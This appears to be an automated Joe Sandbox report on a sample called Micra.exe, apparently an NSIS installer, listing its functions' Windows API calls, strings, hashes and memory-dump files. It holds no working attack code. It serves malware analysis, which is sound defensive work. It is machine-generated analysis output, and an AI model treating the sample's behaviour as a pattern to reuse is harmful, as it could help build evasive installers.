Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: Esophagostenosis199.Dok14
API String ID: 2295610775-3722586252
Opcode ID: fb61142ecab510d9bb051178c92cda44e9a3fae507c1338c77e1024ce068b834
Instruction ID: 7cf403c7a0a34fa6c1bdd97e039e734b9fb45dc45bcdba9fead32da54c1b9644
Opcode Fuzzy Hash: fb61142ecab510d9bb051178c92cda44e9a3fae507c1338c77e1024ce068b834
Instruction Fuzzy Hash: 19D0C9329090206BC3106628AC0C84B6A599B953717118A76B56AF12E0D238986286A9

Function 0040377F Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062C7: GetModuleHandleA.KERNEL32(?,?,?,0040322E,0000000A), ref: 004062D9
Part of subcall function 004062C7: GetProcAddress.KERNEL32(00000000,?), ref: 004062F4

lstrcatA.KERNEL32(1033,0041FD08,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD08,00000000,00000002,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Micra.exe",00000000), ref: 004037FA
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\entomostraca\nonmissionary,1033,0041FD08,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD08,00000000,00000002,74DF3410), ref: 0040386F
lstrcmpiA.KERNEL32(?,.exe), ref: 00403882
GetFileAttributesA.KERNEL32(Call), ref: 0040388D
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\entomostraca\nonmissionary), ref: 004038D6

Part of subcall function 00405E8D: wsprintfA.USER32 ref: 00405E9A

RegisterClassA.USER32(00422EA0), ref: 00403913
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0040392B
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403960
ShowWindow.USER32(00000005,00000000), ref: 00403996
GetClassInfoA.USER32(00000000,RichEdit20A,00422EA0), ref: 004039C2
GetClassInfoA.USER32(00000000,RichEdit,00422EA0), ref: 004039CF
RegisterClassA.USER32(00422EA0), ref: 004039D8
DialogBoxParamA.USER32(?,00000000,00403B1C,00000000), ref: 004039F7

Strings

"C:\Users\user\Desktop\Micra.exe", xrefs: 00403783
_Nb, xrefs: 004038F2, 0040395A
C:\Users\user\AppData\Local\Temp\, xrefs: 00403784
.DEFAULT\Control Panel\International, xrefs: 004037E5
RichEdit20A, xrefs: 004039BA, 004039C0
C:\Users\user\entomostraca\nonmissionary, xrefs: 00403809, 00403811, 004038A9, 004038AF, 004038BF
1033, xrefs: 0040379F, 004037F5
RichEd20, xrefs: 0040399C
Call, xrefs: 0040383D, 00403845, 00403852, 0040389C, 004038A2
.exe, xrefs: 0040387C
Control Panel\Desktop\ResourceLocale, xrefs: 004037B3
RichEdit, xrefs: 004039C9
RichEd32, xrefs: 004039AA

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Micra.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\entomostraca\nonmissionary$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-1351417438
Opcode ID: 0f0f9529c3c60786d72211f980a5a8b1144e6e1ba4f9bbe45dc6703203a272d1
Instruction ID: d12dedd32edb2aff813830401e41f02ecd086126c72271397d80de36ce2b18ee
Opcode Fuzzy Hash: 0f0f9529c3c60786d72211f980a5a8b1144e6e1ba4f9bbe45dc6703203a272d1
Instruction Fuzzy Hash: 1E61C6B1744240BEE620BF669D45F373AACEB84759F40447EF940B22E2D77C9D029A2D

Function 00405F51 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 0040607C
GetWindowsDirectoryA.KERNEL32(Call,00000400,?,0041F4E8,00000000,0040508E,0041F4E8,00000000), ref: 0040608F
SHGetSpecialFolderLocation.SHELL32(0040508E,00000000,?,0041F4E8,00000000,0040508E,0041F4E8,00000000), ref: 004060CB
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 004060D9
CoTaskMemFree.OLE32(00000000), ref: 004060E5
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406109
lstrlenA.KERNEL32(Call,?,0041F4E8,00000000,0040508E,0041F4E8,00000000,00000000,0040E8C0,00000000), ref: 0040615B

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406103
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040604B
Call, xrefs: 00405F7B, 00406048, 00406049, 0040604A, 00406066, 0040607B, 0040608E, 004060AA, 004060D5, 00406108, 0040610E, 00406126, 00406139, 00406154, 0040615A, 00406162, 0040618C

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 4b83501bff14d3d4afc94545923638de13eab7723713207b83caa633bdf47479
Instruction ID: ad9c483c4d11e0ac1e74b91e3c17e9742ad78b5bc63621c1ce792900c2eda604
Opcode Fuzzy Hash: 4b83501bff14d3d4afc94545923638de13eab7723713207b83caa633bdf47479
Instruction Fuzzy Hash: 5361D0B1A00115ABDF209F64CD81BBA7BB4DB45304F15813FEA03BA2D2D27C4962DB5E

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\entomostraca\nonmissionary,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\entomostraca\nonmissionary,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405F2F: lstrcpynA.KERNEL32(?,?,00000400,0040328D,00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 00405F3C

Part of subcall function 00405056: lstrlenA.KERNEL32(0041F4E8,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,004030B1,00000000,?), ref: 0040508F
Part of subcall function 00405056: lstrlenA.KERNEL32(004030B1,0041F4E8,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,004030B1,00000000), ref: 0040509F
Part of subcall function 00405056: lstrcatA.KERNEL32(0041F4E8,004030B1,004030B1,0041F4E8,00000000,0040E8C0,00000000), ref: 004050B2
Part of subcall function 00405056: SetWindowTextA.USER32(0041F4E8,0041F4E8), ref: 004050C4
Part of subcall function 00405056: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050EA
Part of subcall function 00405056: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405104
Part of subcall function 00405056: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405112

Strings

C:\Users\user\entomostraca\nonmissionary, xrefs: 00401786
Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll, xrefs: 00401826, 00401842
C:\Users\user\AppData\Local\Temp\nsb308A.tmp, xrefs: 004017A3, 00401812, 00401830

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsb308A.tmp$C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll$C:\Users\user\entomostraca\nonmissionary$Call
API String ID: 1941528284-2846610998
Opcode ID: b7839a92209b7c6b3c8202a481ff6992844c1a0f6516a3d4c6bbc740c4310d88
Instruction ID: 5e97bff851cc073dc2a03fd3a0d2357d8c44b4856d4f0a7a75adeada814ade30
Opcode Fuzzy Hash: b7839a92209b7c6b3c8202a481ff6992844c1a0f6516a3d4c6bbc740c4310d88
Instruction Fuzzy Hash: 7A41E771A10516BACF107BA5DC86DAF3A78DF45369B20823BF525F11E1C63C8A418E6D

Function 0040551C Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040555F
GetLastError.KERNEL32 ref: 00405573
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405588
GetLastError.KERNEL32 ref: 00405592

Strings

C:\Users\user\Desktop, xrefs: 0040551C
ts@, xrefs: 00405522
C:\Users\user\AppData\Local\Temp\, xrefs: 00405542
ds@, xrefs: 00405551

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-3946084282
Opcode ID: 96d3186a9d907c4a04f4d560a3e7b71f397f10da171c1ba48397c58d76b22fd5
Instruction ID: 8a370a5fbdfdad71dc8e0bfd81c54348e454926cd11c3a1ff2f48966e6f5c6f5
Opcode Fuzzy Hash: 96d3186a9d907c4a04f4d560a3e7b71f397f10da171c1ba48397c58d76b22fd5
Instruction Fuzzy Hash: D0010871D04259EAEF01DBA1CC447EFBBB9EB04354F00857AD904B6290E378A604CFAA

Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A7F0), ref: 00401E1A

Strings

Tahoma, xrefs: 00401E00

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 5a929b086c2214fe81328bccccd3592f410a32eb723e9816faecc0aebfec5a22
Instruction ID: 962fd9b87f23d05f09829d6e62e81eb88b122f60c97e2af10dcf53a19e6500d2
Opcode Fuzzy Hash: 5a929b086c2214fe81328bccccd3592f410a32eb723e9816faecc0aebfec5a22
Instruction Fuzzy Hash: B0015272948340AFE7006BB0AE49F997FF4A715305F108479F241B62E2C67954569F3E

Function 00406259 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406270
wsprintfA.USER32 ref: 004062A9
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004062BD

Strings

%s%s.dll, xrefs: 004062A3
\, xrefs: 00406281
UXTHEME, xrefs: 00406262

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c1c6f81e5f0925475fc46656834228b64d6aad10adaabf52e6c46f27d1be3297
Instruction ID: 482dcefc063d93e198aa1db7e000bfd15e9281d4181d763578a6ff71fc22a1d9
Opcode Fuzzy Hash: c1c6f81e5f0925475fc46656834228b64d6aad10adaabf52e6c46f27d1be3297
Instruction Fuzzy Hash: EAF0F630A10109AEDF14ABA4DD0DFFB375CAB08304F1405BAB64AE11D2E678E9248B69

Function 00402F81 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402FDF
GetTickCount.KERNEL32 ref: 00403060
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 0040308D
wsprintfA.USER32 ref: 0040309D

Strings

... %d%%, xrefs: 00403097

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 167b5ca0bfb3e57695ff9e62e4c69d0835ce9269e9eafab78b1523a358312806
Instruction ID: 60d675f18a734e15d0b5dd350d1cecbd4da5e6a0cde0341d3a53a3cb480860e8
Opcode Fuzzy Hash: 167b5ca0bfb3e57695ff9e62e4c69d0835ce9269e9eafab78b1523a358312806
Instruction Fuzzy Hash: FA519F71901219DBCB10EF65D9046AF7BB8AB04756F14413BF811B72C1C7789E51CBAA

Function 00405AF7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405B0B
GetTempFileNameA.KERNELBASE(?,?,00000000,?,?,00000006,00000008,0000000A), ref: 00405B25

Strings

"C:\Users\user\Desktop\Micra.exe", xrefs: 00405AF7
C:\Users\user\AppData\Local\Temp\, xrefs: 00405AFA
nsa, xrefs: 00405B02

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Micra.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1578125324
Opcode ID: 4f71c4811bd2189c67125445424a5cfd250d6f6759894b34be1bee502b12972b
Instruction ID: d7521d4eade0cbd7120b41c29d2b11454b957a1e542ceee7a25420a70a1b98fd
Opcode Fuzzy Hash: 4f71c4811bd2189c67125445424a5cfd250d6f6759894b34be1bee502b12972b
Instruction Fuzzy Hash: CFF082367082047BDB108F56DC04B9B7FA8DF91750F10803BFA08AA291D6B4B9558B69

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE

GlobalFree.KERNEL32(00000000), ref: 10001768
FreeLibrary.KERNEL32(?), ref: 100017DF
GlobalFree.KERNEL32(00000000), ref: 10001804

Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2

Part of subcall function 10002587: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025F9

Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572

Strings

, xrefs: 100017E5

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 87444a894296e8d40cc63a4c2e1c416a7af340e3bff12e61cd27f34ad68e5005
Instruction ID: 474564f2ddd1a30fda7ef2e88bb39d7445f8f4f5c00c78564696995dcbc9c57a
Opcode Fuzzy Hash: 87444a894296e8d40cc63a4c2e1c416a7af340e3bff12e61cd27f34ad68e5005
Instruction Fuzzy Hash: C4319E79408205DAFB41DF649CC5BCA37ECFB042D5F118465FA0A9A09EDF78A8858B60

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 756893ed4847bb0bd72a5117efa2a57ba430928b3e2712cee879890b773371fc
Instruction ID: 91203bd525acade81736f390ad8a27fd027b74ba1091a33c19100adfebe27d64
Opcode Fuzzy Hash: 756893ed4847bb0bd72a5117efa2a57ba430928b3e2712cee879890b773371fc
Instruction Fuzzy Hash: 6C218E71E44209BEEB159FA5D946AAD7BB0EB84304F14803EF505F61D1DA788A408F28

Function 004023D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsb308A.tmp,00000023,00000011,00000002), ref: 0040241B
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsb308A.tmp,00000000,00000011,00000002), ref: 00402458
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsb308A.tmp,00000000,00000011,00000002), ref: 0040253C

Strings

C:\Users\user\AppData\Local\Temp\nsb308A.tmp, xrefs: 0040240C, 0040242E, 00402442, 0040244D

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

